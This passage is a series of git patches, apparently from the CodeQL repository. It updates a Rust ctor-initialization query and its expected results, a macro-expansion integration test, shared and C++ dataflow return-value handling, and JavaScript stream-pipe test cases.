sink.toString() + " in a function with the " + source.getWhichAttr() + " attribute." + "Call to " + sink.toString() + " from the standard library in a function with the " + + source.getWhichAttr() + " attribute." diff --git a/rust/ql/test/query-tests/security/CWE-696/BadCTorInitialization.expected b/rust/ql/test/query-tests/security/CWE-696/BadCTorInitialization.expected index 9d8fc2524718..3ac74a3cb13b 100644 --- a/rust/ql/test/query-tests/security/CWE-696/BadCTorInitialization.expected +++ b/rust/ql/test/query-tests/security/CWE-696/BadCTorInitialization.expected @@ -1,49 +1,71 @@ #select -| test.rs:30:9:30:25 | ...::stdout(...) | test.rs:28:1:28:13 | Attr | test.rs:30:9:30:25 | ...::stdout(...) | Call to ...::stdout(...) in a function with the ctor attribute. | -| test.rs:35:9:35:25 | ...::stdout(...) | test.rs:33:1:33:13 | Attr | test.rs:35:9:35:25 | ...::stdout(...) | Call to ...::stdout(...) in a function with the dtor attribute. | -| test.rs:42:9:42:25 | ...::stdout(...) | test.rs:39:1:39:13 | Attr | test.rs:42:9:42:25 | ...::stdout(...) | Call to ...::stdout(...) in a function with the dtor attribute. | -| test.rs:52:9:52:16 | stdout(...) | test.rs:50:1:50:7 | Attr | test.rs:52:9:52:16 | stdout(...) | Call to stdout(...) in a function with the ctor attribute. | -| test.rs:57:9:57:16 | stderr(...) | test.rs:55:1:55:7 | Attr | test.rs:57:9:57:16 | stderr(...) | Call to stderr(...) in a function with the ctor attribute. | -| test.rs:62:14:62:28 | ...::_print(...) | test.rs:60:1:60:7 | Attr | test.rs:62:14:62:28 | ...::_print(...) | Call to ...::_print(...) in a function with the ctor attribute. | -| test.rs:68:9:68:24 | ...::stdin(...) | test.rs:65:1:65:7 | Attr | test.rs:68:9:68:24 | ...::stdin(...) | Call to ...::stdin(...) in a function with the ctor attribute. | -| test.rs:89:5:89:35 | ...::sleep(...) | test.rs:87:1:87:7 | Attr | test.rs:89:5:89:35 | ...::sleep(...) | Call to ...::sleep(...) in a function with the ctor attribute. | -| test.rs:96:5:96:23 | ...::exit(...) | test.rs:94:1:94:7 | Attr | test.rs:96:5:96:23 | ...::exit(...) | Call to ...::exit(...) in a function with the ctor attribute. | -| test.rs:125:9:125:16 | stderr(...) | test.rs:128:1:128:7 | Attr | test.rs:125:9:125:16 | stderr(...) | Call to stderr(...) in a function with the ctor attribute. | -| test.rs:125:9:125:16 | stderr(...) | test.rs:144:1:144:7 | Attr | test.rs:125:9:125:16 | stderr(...) | Call to stderr(...) in a function with the ctor attribute. | -| test.rs:125:9:125:16 | stderr(...) | test.rs:150:1:150:7 | Attr | test.rs:125:9:125:16 | stderr(...) | Call to stderr(...) in a function with the ctor attribute. | -| test.rs:125:9:125:44 | ... .write_all(...) | test.rs:128:1:128:7 | Attr | test.rs:125:9:125:44 | ... .write_all(...) | Call to ... .write_all(...) in a function with the ctor attribute. | -| test.rs:125:9:125:44 | ... .write_all(...) | test.rs:144:1:144:7 | Attr | test.rs:125:9:125:44 | ... .write_all(...) | Call to ... .write_all(...) in a function with the ctor attribute. | -| test.rs:125:9:125:44 | ... .write_all(...) | test.rs:150:1:150:7 | Attr | test.rs:125:9:125:44 | ... .write_all(...) | Call to ... .write_all(...) in a function with the ctor attribute. | -| test.rs:170:5:170:15 | ...::stdout(...) | test.rs:168:1:168:7 | Attr | test.rs:170:5:170:15 | ...::stdout(...) | Call to ...::stdout(...) in a function with the ctor attribute. | +| test.rs:30:9:30:24 | ...::stdout(...) | test.rs:28:1:28:13 | Attr | test.rs:30:9:30:24 | ...::stdout(...) | Call to ...::stdout(...) from the standard library in a function with the ctor attribute. | +| test.rs:30:9:30:48 | ... .write(...) | test.rs:28:1:28:13 | Attr | test.rs:30:9:30:48 | ... .write(...) | Call to ... .write(...) from the standard library in a function with the ctor attribute. | +| test.rs:35:9:35:24 | ...::stdout(...) | test.rs:33:1:33:13 | Attr | test.rs:35:9:35:24 | ...::stdout(...) | Call to ...::stdout(...) from the standard library in a function with the dtor attribute. | +| test.rs:35:9:35:48 | ... .write(...) | test.rs:33:1:33:13 | Attr | test.rs:35:9:35:48 | ... .write(...) | Call to ... .write(...) from the standard library in a function with the dtor attribute. | +| test.rs:42:9:42:24 | ...::stdout(...) | test.rs:39:1:39:13 | Attr | test.rs:42:9:42:24 | ...::stdout(...) | Call to ...::stdout(...) from the standard library in a function with the dtor attribute. | +| test.rs:42:9:42:48 | ... .write(...) | test.rs:39:1:39:13 | Attr | test.rs:42:9:42:48 | ... .write(...) | Call to ... .write(...) from the standard library in a function with the dtor attribute. | +| test.rs:52:9:52:15 | stdout(...) | test.rs:50:1:50:7 | Attr | test.rs:52:9:52:15 | stdout(...) | Call to stdout(...) from the standard library in a function with the ctor attribute. | +| test.rs:52:9:52:39 | ... .write(...) | test.rs:50:1:50:7 | Attr | test.rs:52:9:52:39 | ... .write(...) | Call to ... .write(...) from the standard library in a function with the ctor attribute. | +| test.rs:57:9:57:15 | stderr(...) | test.rs:55:1:55:7 | Attr | test.rs:57:9:57:15 | stderr(...) | Call to stderr(...) from the standard library in a function with the ctor attribute. | +| test.rs:57:9:57:43 | ... .write_all(...) | test.rs:55:1:55:7 | Attr | test.rs:57:9:57:43 | ... .write_all(...) | Call to ... .write_all(...) from the standard library in a function with the ctor attribute. | +| test.rs:62:14:62:28 | ...::_print(...) | test.rs:60:1:60:7 | Attr | test.rs:62:14:62:28 | ...::_print(...) | Call to ...::_print(...) from the standard library in a function with the ctor attribute. | +| test.rs:68:9:68:23 | ...::stdin(...) | test.rs:65:1:65:7 | Attr | test.rs:68:9:68:23 | ...::stdin(...) | Call to ...::stdin(...) from the standard library in a function with the ctor attribute. | +| test.rs:68:9:68:44 | ... .read_line(...) | test.rs:65:1:65:7 | Attr | test.rs:68:9:68:44 | ... .read_line(...) | Call to ... .read_line(...) from the standard library in a function with the ctor attribute. | +| test.rs:75:17:75:44 | ...::create(...) | test.rs:73:1:73:7 | Attr | test.rs:75:17:75:44 | ...::create(...) | Call to ...::create(...) from the standard library in a function with the ctor attribute. | +| test.rs:80:14:80:37 | ...::now(...) | test.rs:78:1:78:7 | Attr | test.rs:80:14:80:37 | ...::now(...) | Call to ...::now(...) from the standard library in a function with the ctor attribute. | +| test.rs:89:5:89:34 | ...::sleep(...) | test.rs:87:1:87:7 | Attr | test.rs:89:5:89:34 | ...::sleep(...) | Call to ...::sleep(...) from the standard library in a function with the ctor attribute. | +| test.rs:96:5:96:22 | ...::exit(...) | test.rs:94:1:94:7 | Attr | test.rs:96:5:96:22 | ...::exit(...) | Call to ...::exit(...) from the standard library in a function with the ctor attribute. | +| test.rs:125:9:125:16 | stderr(...) | test.rs:128:1:128:7 | Attr | test.rs:125:9:125:16 | stderr(...) | Call to stderr(...) from the standard library in a function with the ctor attribute. | +| test.rs:125:9:125:16 | stderr(...) | test.rs:144:1:144:7 | Attr | test.rs:125:9:125:16 | stderr(...) | Call to stderr(...) from the standard library in a function with the ctor attribute. | +| test.rs:125:9:125:16 | stderr(...) | test.rs:150:1:150:7 | Attr | test.rs:125:9:125:16 | stderr(...) | Call to stderr(...) from the standard library in a function with the ctor attribute. | +| test.rs:125:9:125:44 | ... .write_all(...) | test.rs:128:1:128:7 | Attr | test.rs:125:9:125:44 | ... .write_all(...) | Call to ... .write_all(...) from the standard library in a function with the ctor attribute. | +| test.rs:125:9:125:44 | ... .write_all(...) | test.rs:144:1:144:7 | Attr | test.rs:125:9:125:44 | ... .write_all(...) | Call to ... .write_all(...) from the standard library in a function with the ctor attribute. | +| test.rs:125:9:125:44 | ... .write_all(...) | test.rs:150:1:150:7 | Attr | test.rs:125:9:125:44 | ... .write_all(...) | Call to ... .write_all(...) from the standard library in a function with the ctor attribute. | +| test.rs:168:1:168:7 | ... .write(...) | test.rs:168:1:168:7 | Attr | test.rs:168:1:168:7 | ... .write(...) | Call to ... .write(...) from the standard library in a function with the ctor attribute. | +| test.rs:168:1:168:7 | ...::stdout(...) | test.rs:168:1:168:7 | Attr | test.rs:168:1:168:7 | ...::stdout(...) | Call to ...::stdout(...) from the standard library in a function with the ctor attribute. | edges -| test.rs:28:1:28:13 | Attr | test.rs:28:1:31:1 | fn bad1_1 | -| test.rs:28:1:31:1 | fn bad1_1 | test.rs:30:9:30:25 | ...::stdout(...) | -| test.rs:33:1:33:13 | Attr | test.rs:33:1:36:1 | fn bad1_2 | -| test.rs:33:1:36:1 | fn bad1_2 | test.rs:35:9:35:25 | ...::stdout(...) | -| test.rs:38:1:43:1 | fn bad1_3 | test.rs:42:9:42:25 | ...::stdout(...) | -| test.rs:39:1:39:13 | Attr | test.rs:38:1:43:1 | fn bad1_3 | -| test.rs:50:1:50:7 | Attr | test.rs:50:1:53:1 | fn bad2_1 | -| test.rs:50:1:53:1 | fn bad2_1 | test.rs:52:9:52:16 | stdout(...) | -| test.rs:55:1:55:7 | Attr | test.rs:55:1:58:1 | fn bad2_2 | -| test.rs:55:1:58:1 | fn bad2_2 | test.rs:57:9:57:16 | stderr(...) | -| test.rs:60:1:60:7 | Attr | test.rs:60:1:63:1 | fn bad2_3 | -| test.rs:60:1:63:1 | fn bad2_3 | test.rs:62:14:62:28 | ...::_print(...) | -| test.rs:65:1:65:7 | Attr | test.rs:65:1:69:1 | fn bad2_4 | -| test.rs:65:1:69:1 | fn bad2_4 | test.rs:68:9:68:24 | ...::stdin(...) | -| test.rs:87:1:87:7 | Attr | test.rs:87:1:90:1 | fn bad2_7 | -| test.rs:87:1:90:1 | fn bad2_7 | test.rs:89:5:89:35 | ...::sleep(...) | -| test.rs:94:1:94:7 | Attr | test.rs:94:1:97:1 | fn bad2_8 | -| test.rs:94:1:97:1 | fn bad2_8 | test.rs:96:5:96:23 | ...::exit(...) | +| test.rs:28:1:28:13 | Attr | test.rs:29:4:30:50 | fn bad1_1 | +| test.rs:29:4:30:50 | fn bad1_1 | test.rs:30:9:30:24 | ...::stdout(...) | +| test.rs:29:4:30:50 | fn bad1_1 | test.rs:30:9:30:48 | ... .write(...) | +| test.rs:33:1:33:13 | Attr | test.rs:34:4:35:50 | fn bad1_2 | +| test.rs:34:4:35:50 | fn bad1_2 | test.rs:35:9:35:24 | ...::stdout(...) | +| test.rs:34:4:35:50 | fn bad1_2 | test.rs:35:9:35:48 | ... .write(...) | +| test.rs:38:1:42:50 | fn bad1_3 | test.rs:42:9:42:24 | ...::stdout(...) | +| test.rs:38:1:42:50 | fn bad1_3 | test.rs:42:9:42:48 | ... .write(...) | +| test.rs:39:1:39:13 | Attr | test.rs:38:1:42:50 | fn bad1_3 | +| test.rs:50:1:50:7 | Attr | test.rs:51:4:52:41 | fn bad2_1 | +| test.rs:51:4:52:41 | fn bad2_1 | test.rs:52:9:52:15 | stdout(...) | +| test.rs:51:4:52:41 | fn bad2_1 | test.rs:52:9:52:39 | ... .write(...) | +| test.rs:55:1:55:7 | Attr | test.rs:56:4:57:45 | fn bad2_2 | +| test.rs:56:4:57:45 | fn bad2_2 | test.rs:57:9:57:15 | stderr(...) | +| test.rs:56:4:57:45 | fn bad2_2 | test.rs:57:9:57:43 | ... .write_all(...) | +| test.rs:60:1:60:7 | Attr | test.rs:61:4:62:30 | fn bad2_3 | +| test.rs:61:4:62:30 | fn bad2_3 | test.rs:62:14:62:28 | ...::_print(...) | +| test.rs:65:1:65:7 | Attr | test.rs:66:4:68:46 | fn bad2_4 | +| test.rs:66:4:68:46 | fn bad2_4 | test.rs:68:9:68:23 | ...::stdin(...) | +| test.rs:66:4:68:46 | fn bad2_4 | test.rs:68:9:68:44 | ... .read_line(...) | +| test.rs:73:1:73:7 | Attr | test.rs:74:4:75:55 | fn bad2_5 | +| test.rs:74:4:75:55 | fn bad2_5 | test.rs:75:17:75:44 | ...::create(...) | +| test.rs:78:1:78:7 | Attr | test.rs:79:4:80:39 | fn bad2_6 | +| test.rs:79:4:80:39 | fn bad2_6 | test.rs:80:14:80:37 | ...::now(...) | +| test.rs:87:1:87:7 | Attr | test.rs:88:4:89:36 | fn bad2_7 | +| test.rs:88:4:89:36 | fn bad2_7 | test.rs:89:5:89:34 | ...::sleep(...) | +| test.rs:94:1:94:7 | Attr | test.rs:95:4:96:24 | fn bad2_8 | +| test.rs:95:4:96:24 | fn bad2_8 | test.rs:96:5:96:22 | ...::exit(...) | | test.rs:124:1:126:1 | fn call_target3_1 | test.rs:125:9:125:16 | stderr(...) | | test.rs:124:1:126:1 | fn call_target3_1 | test.rs:125:9:125:44 | ... .write_all(...) | -| test.rs:128:1:128:7 | Attr | test.rs:128:1:131:1 | fn bad3_1 | -| test.rs:128:1:131:1 | fn bad3_1 | test.rs:130:5:130:20 | call_target3_1(...) | -| test.rs:130:5:130:20 | call_target3_1(...) | test.rs:124:1:126:1 | fn call_target3_1 | -| test.rs:144:1:144:7 | Attr | test.rs:144:1:148:1 | fn bad3_3 | +| test.rs:128:1:128:7 | Attr | test.rs:129:4:130:21 | fn bad3_1 | +| test.rs:129:4:130:21 | fn bad3_1 | test.rs:130:5:130:19 | call_target3_1(...) | +| test.rs:130:5:130:19 | call_target3_1(...) | test.rs:124:1:126:1 | fn call_target3_1 | +| test.rs:144:1:144:7 | Attr | test.rs:145:4:147:21 | fn bad3_3 | | test.rs:144:1:148:1 | fn bad3_3 | test.rs:146:5:146:20 | call_target3_1(...) | +| test.rs:145:4:147:21 | fn bad3_3 | test.rs:146:5:146:19 | call_target3_1(...) | +| test.rs:146:5:146:19 | call_target3_1(...) | test.rs:124:1:126:1 | fn call_target3_1 | | test.rs:146:5:146:20 | call_target3_1(...) | test.rs:124:1:126:1 | fn call_target3_1 | -| test.rs:150:1:150:7 | Attr | test.rs:150:1:153:1 | fn bad3_4 | -| test.rs:150:1:153:1 | fn bad3_4 | test.rs:152:5:152:12 | bad3_3(...) | -| test.rs:152:5:152:12 | bad3_3(...) | test.rs:144:1:148:1 | fn bad3_3 | -| test.rs:168:1:168:7 | Attr | test.rs:168:1:171:1 | fn bad4_1 | -| test.rs:168:1:171:1 | fn bad4_1 | test.rs:170:5:170:15 | ...::stdout(...) | +| test.rs:150:1:150:7 | Attr | test.rs:151:4:152:13 | fn bad3_4 | +| test.rs:151:4:152:13 | fn bad3_4 | test.rs:152:5:152:11 | bad3_3(...) | +| test.rs:152:5:152:11 | bad3_3(...) | test.rs:144:1:148:1 | fn bad3_3 | +| test.rs:168:1:168:7 | Attr | test.rs:169:4:170:16 | fn bad4_1 | +| test.rs:169:4:170:16 | fn bad4_1 | test.rs:168:1:168:7 | ... .write(...) | +| test.rs:169:4:170:16 | fn bad4_1 | test.rs:168:1:168:7 | ...::stdout(...) | diff --git a/rust/ql/test/query-tests/security/CWE-696/test.rs b/rust/ql/test/query-tests/security/CWE-696/test.rs index b23c06aa6a69..f589994d5d1d 100644 --- a/rust/ql/test/query-tests/security/CWE-696/test.rs +++ b/rust/ql/test/query-tests/security/CWE-696/test.rs @@ -70,14 +70,14 @@ fn bad2_4() { use std::fs; -#[ctor] // $ MISSING: Source=source2_5 +#[ctor] // $ Source=source2_5 fn bad2_5() { - let _buff = fs::File::create("hello.txt").unwrap(); // $ MISSING: Alert[rust/ctor-initialization]=source2_5 + let _buff = fs::File::create("hello.txt").unwrap(); // $ Alert[rust/ctor-initialization]=source2_5 } -#[ctor] // $ MISSING: Source=source2_6 +#[ctor] // $ Source=source2_6 fn bad2_6() { - let _t = std::time::Instant::now(); // $ MISSING: Alert[rust/ctor-initialization]=source2_6 + let _t = std::time::Instant::now(); // $ Alert[rust/ctor-initialization]=source2_6 } use std::time::Duration; @@ -165,7 +165,7 @@ macro_rules! macro4_1 { }; } -#[ctor] // $ Source=source4_1 +#[ctor] // $ Alert[rust/ctor-initialization] fn bad4_1() { - macro4_1!(); // $ Alert[rust/ctor-initialization]=source4_1 + macro4_1!(); } From 5183d1610f81138638541bfff08afbeef6d87f23 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Mon, 19 May 2025 13:56:28 +0200 Subject: [PATCH 353/535] Rust: enhance macro expansion integration test --- .../macro-expansion/src/lib.rs | 7 ++++- .../macro-expansion/summary.expected | 16 +++++++++++ .../macro-expansion/summary.qlref | 1 + .../macro-expansion/test.expected | 28 +++++++++++-------- 4 files changed, 40 insertions(+), 12 deletions(-) create mode 100644 rust/ql/integration-tests/macro-expansion/summary.expected create mode 100644 rust/ql/integration-tests/macro-expansion/summary.qlref diff --git a/rust/ql/integration-tests/macro-expansion/src/lib.rs b/rust/ql/integration-tests/macro-expansion/src/lib.rs index 6d2d6037e5d2..2007d3b111aa 100644 --- a/rust/ql/integration-tests/macro-expansion/src/lib.rs +++ b/rust/ql/integration-tests/macro-expansion/src/lib.rs @@ -1,7 +1,12 @@ use macros::repeat; #[repeat(3)] -fn foo() {} +fn foo() { + println!("Hello, world!"); + + #[repeat(2)] + fn inner() {} +} #[repeat(2)] #[repeat(3)] diff --git a/rust/ql/integration-tests/macro-expansion/summary.expected b/rust/ql/integration-tests/macro-expansion/summary.expected new file mode 100644 index 000000000000..529d1736d028 --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/summary.expected @@ -0,0 +1,16 @@ +| Extraction errors | 0 | +| Extraction warnings | 0 | +| Files extracted - total | 2 | +| Files extracted - with errors | 0 | +| Files extracted - without errors | 2 | +| Files extracted - without errors % | 100 | +| Inconsistencies - AST | 0 | +| Inconsistencies - CFG | 0 | +| Inconsistencies - Path resolution | 0 | +| Inconsistencies - SSA | 0 | +| Inconsistencies - data flow | 0 | +| Lines of code extracted | 46 | +| Lines of user code extracted | 29 | +| Macro calls - resolved | 52 | +| Macro calls - total | 53 | +| Macro calls - unresolved | 1 | diff --git a/rust/ql/integration-tests/macro-expansion/summary.qlref b/rust/ql/integration-tests/macro-expansion/summary.qlref new file mode 100644 index 000000000000..926fc7903911 --- /dev/null +++ b/rust/ql/integration-tests/macro-expansion/summary.qlref @@ -0,0 +1 @@ +queries/summary/SummaryStatsReduced.ql diff --git a/rust/ql/integration-tests/macro-expansion/test.expected b/rust/ql/integration-tests/macro-expansion/test.expected index 1247930bd226..83edecf5d5df 100644 --- a/rust/ql/integration-tests/macro-expansion/test.expected +++ b/rust/ql/integration-tests/macro-expansion/test.expected @@ -1,11 +1,17 @@ -| src/lib.rs:3:1:4:11 | fn foo | 0 | src/lib.rs:4:1:4:10 | fn foo_0 | -| src/lib.rs:3:1:4:11 | fn foo | 1 | src/lib.rs:4:1:4:10 | fn foo_1 | -| src/lib.rs:3:1:4:11 | fn foo | 2 | src/lib.rs:4:1:4:10 | fn foo_2 | -| src/lib.rs:6:1:8:11 | fn bar | 0 | src/lib.rs:7:1:8:10 | fn bar_0 | -| src/lib.rs:6:1:8:11 | fn bar | 1 | src/lib.rs:7:1:8:10 | fn bar_1 | -| src/lib.rs:7:1:8:10 | fn bar_0 | 0 | src/lib.rs:8:1:8:10 | fn bar_0_0 | -| src/lib.rs:7:1:8:10 | fn bar_0 | 1 | src/lib.rs:8:1:8:10 | fn bar_0_1 | -| src/lib.rs:7:1:8:10 | fn bar_0 | 2 | src/lib.rs:8:1:8:10 | fn bar_0_2 | -| src/lib.rs:7:1:8:10 | fn bar_1 | 0 | src/lib.rs:8:1:8:10 | fn bar_1_0 | -| src/lib.rs:7:1:8:10 | fn bar_1 | 1 | src/lib.rs:8:1:8:10 | fn bar_1_1 | -| src/lib.rs:7:1:8:10 | fn bar_1 | 2 | src/lib.rs:8:1:8:10 | fn bar_1_2 | +| src/lib.rs:3:1:9:1 | fn foo | 0 | src/lib.rs:4:1:8:16 | fn foo_0 | +| src/lib.rs:3:1:9:1 | fn foo | 1 | src/lib.rs:4:1:8:16 | fn foo_1 | +| src/lib.rs:3:1:9:1 | fn foo | 2 | src/lib.rs:4:1:8:16 | fn foo_2 | +| src/lib.rs:7:5:8:16 | fn inner | 0 | src/lib.rs:8:5:8:16 | fn inner_0 | +| src/lib.rs:7:5:8:16 | fn inner | 0 | src/lib.rs:8:5:8:16 | fn inner_0 | +| src/lib.rs:7:5:8:16 | fn inner | 0 | src/lib.rs:8:5:8:16 | fn inner_0 | +| src/lib.rs:7:5:8:16 | fn inner | 1 | src/lib.rs:8:5:8:16 | fn inner_1 | +| src/lib.rs:7:5:8:16 | fn inner | 1 | src/lib.rs:8:5:8:16 | fn inner_1 | +| src/lib.rs:7:5:8:16 | fn inner | 1 | src/lib.rs:8:5:8:16 | fn inner_1 | +| src/lib.rs:11:1:13:11 | fn bar | 0 | src/lib.rs:12:1:13:10 | fn bar_0 | +| src/lib.rs:11:1:13:11 | fn bar | 1 | src/lib.rs:12:1:13:10 | fn bar_1 | +| src/lib.rs:12:1:13:10 | fn bar_0 | 0 | src/lib.rs:13:1:13:10 | fn bar_0_0 | +| src/lib.rs:12:1:13:10 | fn bar_0 | 1 | src/lib.rs:13:1:13:10 | fn bar_0_1 | +| src/lib.rs:12:1:13:10 | fn bar_0 | 2 | src/lib.rs:13:1:13:10 | fn bar_0_2 | +| src/lib.rs:12:1:13:10 | fn bar_1 | 0 | src/lib.rs:13:1:13:10 | fn bar_1_0 | +| src/lib.rs:12:1:13:10 | fn bar_1 | 1 | src/lib.rs:13:1:13:10 | fn bar_1_1 | +| src/lib.rs:12:1:13:10 | fn bar_1 | 2 | src/lib.rs:13:1:13:10 | fn bar_1_2 | From 01e22b72668f17b2e4325481bf3cde0e77a16c3a Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 22 May 2025 11:47:33 +0200 Subject: [PATCH 354/535] Rust: remove wrong comment --- rust/ql/src/queries/security/CWE-696/BadCtorInitialization.ql | 1 - 1 file changed, 1 deletion(-) diff --git a/rust/ql/src/queries/security/CWE-696/BadCtorInitialization.ql b/rust/ql/src/queries/security/CWE-696/BadCtorInitialization.ql index cff84ed51d70..80e1043a979c 100644 --- a/rust/ql/src/queries/security/CWE-696/BadCtorInitialization.ql +++ b/rust/ql/src/queries/security/CWE-696/BadCtorInitialization.ql @@ -55,7 +55,6 @@ predicate edgesFwd(PathElement pred, PathElement succ) { ) ) or - // callable -> callable attribute macro expansion // [forwards reachable] callable -> enclosed call edgesFwd(_, pred) and pred = succ.(CallExprBase).getEnclosingCallable() From 69ea19cb8b30b8bc61e0961c563fa99b6af6094d Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 23 May 2025 11:16:29 +0100 Subject: [PATCH 355/535] Shared: Add a 'getReturnValueKind' predicate and use it in 'interpretOutput' and 'interpretInput' to handle non-standard return value input/output. This is needed to support C++'s ReturnValue[**] notation. --- .../dataflow/internal/FlowSummaryImpl.qll | 38 +++++++++++++++---- 1 file changed, 31 insertions(+), 7 deletions(-) diff --git a/shared/dataflow/codeql/dataflow/internal/FlowSummaryImpl.qll b/shared/dataflow/codeql/dataflow/internal/FlowSummaryImpl.qll index 95d29153f47e..d9efa7a84497 100644 --- a/shared/dataflow/codeql/dataflow/internal/FlowSummaryImpl.qll +++ b/shared/dataflow/codeql/dataflow/internal/FlowSummaryImpl.qll @@ -54,6 +54,20 @@ signature module InputSig Lang> { /** Gets the return kind corresponding to specification `"ReturnValue"`. */ Lang::ReturnKind getStandardReturnValueKind(); + /** + * Gets the return kind corresponding to specification `"ReturnValue"` when + * the supplied argument `arg`. + * + * Note that it is expected that the following equality holds: + * ``` + * getReturnValueKind("") = getStandardReturnValueKind() + * ``` + */ + default Lang::ReturnKind getReturnValueKind(string arg) { + arg = "" and + result = getStandardReturnValueKind() + } + /** Gets the textual representation of parameter position `pos` used in MaD. */ string encodeParameterPosition(Lang::ParameterPosition pos); @@ -2164,9 +2178,15 @@ module Make< ) ) or - c = "ReturnValue" and - node.asNode() = - getAnOutNodeExt(mid.asCall(), TValueReturn(getStandardReturnValueKind())) + c.getName() = "ReturnValue" and + exists(ReturnKind rk | + not exists(c.getAnArgument()) and + rk = getStandardReturnValueKind() + or + rk = getReturnValueKind(c.getAnArgument()) + | + node.asNode() = getAnOutNodeExt(mid.asCall(), TValueReturn(rk)) + ) or SourceSinkInterpretationInput::interpretOutput(c, mid, node) ) @@ -2198,12 +2218,16 @@ module Make< ) ) or - exists(ReturnNode ret, ValueReturnKind kind | - c = "ReturnValue" and + exists(ReturnNode ret, ReturnKind kind | + c.getName() = "ReturnValue" and ret = node.asNode() and - kind.getKind() = ret.getKind() and - kind.getKind() = getStandardReturnValueKind() and + kind = ret.getKind() and mid.asCallable() = getNodeEnclosingCallable(ret) + | + not exists(c.getAnArgument()) and + kind = getStandardReturnValueKind() + or + kind = getReturnValueKind(c.getAnArgument()) ) or SourceSinkInterpretationInput::interpretInput(c, mid, node) From 07c4eca4d82a7bdcadffe805d3043a47ee7731e4 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 23 May 2025 11:16:49 +0100 Subject: [PATCH 356/535] C++: Implement the new predicate for C++. --- .../semmle/code/cpp/dataflow/internal/FlowSummaryImpl.qll | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/FlowSummaryImpl.qll b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/FlowSummaryImpl.qll index 5ba1db044290..58c3dfdea16b 100644 --- a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/FlowSummaryImpl.qll +++ b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/FlowSummaryImpl.qll @@ -22,7 +22,11 @@ module Input implements InputSig { ArgumentPosition callbackSelfParameterPosition() { result = TDirectPosition(-1) } - ReturnKind getStandardReturnValueKind() { result.(NormalReturnKind).getIndirectionIndex() = 0 } + ReturnKind getStandardReturnValueKind() { result = getReturnValueKind("") } + + ReturnKind getReturnValueKind(string arg) { + arg = repeatStars(result.(NormalReturnKind).getIndirectionIndex()) + } string encodeParameterPosition(ParameterPosition pos) { result = pos.toString() } From cf39103df37ac9b19f6df084a78c4233ef5bdd17 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 23 May 2025 11:19:25 +0100 Subject: [PATCH 357/535] C++: Accept test changes. --- cpp/ql/test/library-tests/dataflow/models-as-data/tests.cpp | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/cpp/ql/test/library-tests/dataflow/models-as-data/tests.cpp b/cpp/ql/test/library-tests/dataflow/models-as-data/tests.cpp index 9f01f0959c00..92397bc91c34 100644 --- a/cpp/ql/test/library-tests/dataflow/models-as-data/tests.cpp +++ b/cpp/ql/test/library-tests/dataflow/models-as-data/tests.cpp @@ -56,9 +56,9 @@ void test_sources() { sink(v_direct); // $ ir sink(remoteMadSourceIndirect()); - sink(*remoteMadSourceIndirect()); // $ MISSING: ir + sink(*remoteMadSourceIndirect()); // $ ir sink(*remoteMadSourceDoubleIndirect()); - sink(**remoteMadSourceDoubleIndirect()); // $ MISSING: ir + sink(**remoteMadSourceDoubleIndirect()); // $ ir int a, b, c, d; @@ -124,7 +124,7 @@ void test_sinks() { // test sources + sinks together madSinkArg0(localMadSource()); // $ ir - madSinkIndirectArg0(remoteMadSourceIndirect()); // $ MISSING: ir + madSinkIndirectArg0(remoteMadSourceIndirect()); // $ ir madSinkVar = remoteMadSourceVar; // $ ir *madSinkVarIndirect = remoteMadSourceVar; // $ MISSING: ir } From 15ff7cb41a0bfbfa3da4be83e0d701a6b5003a6e Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Fri, 23 May 2025 12:30:49 +0200 Subject: [PATCH 358/535] Added more test cases which common `js` libraries uses `.pipe()` --- .../Quality/UnhandledStreamPipe/arktype.js | 3 +++ .../query-tests/Quality/UnhandledStreamPipe/execa.js | 11 +++++++++++ .../Quality/UnhandledStreamPipe/highland.js | 8 ++++++++ .../Quality/UnhandledStreamPipe/rxjsStreams.js | 4 +++- .../Quality/UnhandledStreamPipe/test.expected | 4 ++++ 5 files changed, 29 insertions(+), 1 deletion(-) create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js create mode 100644 javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js new file mode 100644 index 000000000000..19d944151ab6 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/arktype.js @@ -0,0 +1,3 @@ +import { type } from 'arktype'; + +type.string.pipe(Number) // $SPURIOUS:Alert diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js new file mode 100644 index 000000000000..59c4eafef59d --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/execa.js @@ -0,0 +1,11 @@ +const execa = require('execa'); + +(async () => { + const first = execa('node', ['empty.js']); + const second = execa('node', ['stdin.js']); + + first.stdout.pipe(second.stdin); // $SPURIOUS:Alert + + const {stdout} = await second; + console.log(stdout); +})(); diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js new file mode 100644 index 000000000000..406ee7f44f45 --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/highland.js @@ -0,0 +1,8 @@ +const highland = require('highland'); +const fs = require('fs'); + +highland(fs.createReadStream('input.txt')) + .map(line => { + if (line.length === 0) throw new Error('Empty line'); + return line; + }).pipe(fs.createWriteStream('output.txt')); // $SPURIOUS:Alert diff --git a/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js b/javascript/ql/test/query-tests/Quality/UnhandledStreamPipe/rxjsStreams.js index 